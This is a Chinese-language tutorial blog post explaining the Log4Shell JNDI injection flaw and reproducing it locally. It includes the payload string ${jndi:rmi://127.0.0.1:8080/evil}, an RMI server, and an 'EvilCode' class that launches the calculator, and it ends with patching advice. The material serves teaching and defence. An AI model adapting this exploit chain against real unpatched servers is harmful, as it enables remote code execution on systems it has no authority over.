log4j漏洞原理以及漏洞復現


前言:

十幾天前,log4j被爆出“史詩級”漏洞。其危害非常大,影響非常廣。該漏洞非常容易利用,可以執行任意代碼。這個漏洞的影響可謂是重量級的。

漏洞描述:

由於Apache Log4j存在遞歸解析功能,未取得身份認證的用戶,可以從遠程發送數據請求輸入數據日志,輕松觸發漏洞,最終在目標上執行任意代碼。簡單點說,就是可以通過輸入一些具有特殊意義的字符來攻擊服務器。

如果入侵者在前端頁面上輸入了:${jndi:rmi://127.0.0.1:8080/evil} 這串字符, 然后后台用log4j記錄了這串字符, log4j會自動使用jndi調用這個地址上的rmi內容。如果這個rmi的內容是刪除數據庫,重啟服務器這種惡意程序,被攻擊之后還是趁早跑路吧。(開個玩笑)

關於JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java EE的重要部分,需要注意的是它並不只是包含了DataSource(JDBC 數據源),JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。

關於RMI:

RMI(remote method invocation)即遠程方法調用,是允許運行在一個java虛擬機上的對象調用運行在另外一個java虛擬機上的對象的方法,JAVA RMI實現JAVA程序之間跨越JVM的遠程通信。通過RMI可以讓調用遠程JVM上對象方法,仿佛調用本地JVM上對象方法一樣簡單、快捷。

漏洞復現:

首先,可以先創建一個普通的maven項目, 在pom中引入log4j2.14.0

<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>

再創建一個用於開啟RMI服務端的java文件

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException {
        LocateRegistry.createRegistry(8080);
        final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
        Reference ref = new Reference("EvilCode", "EvilCode", null);
        final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evil", referenceWrapper);
        System.out.println("啟動成功");
    }
}

再創建EvilCode惡意程序攻擊類, 這里由於是自己的電腦, 還是用經典的calc計算器舉粟

public class EvilCode {
    static {
        System.err.println("打開計算器");
        try {
            Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

最后創建一個啟動類, 用於模擬我們的服務器程序, 使用log4j打印日志

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //用input局部變量來模擬入侵者輸入的內容
        String input = "${jndi:rmi://127.0.0.1:8080/evil}";
        //這里直接用log4j輸入
        logger.error(input);
    }
}

先啟動RMIServer, 再啟動Main, 可以看到, 計算器被彈出了:

 

 

可以升級log4j最新版本或者更新jdk較高版本來解決這個問題


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM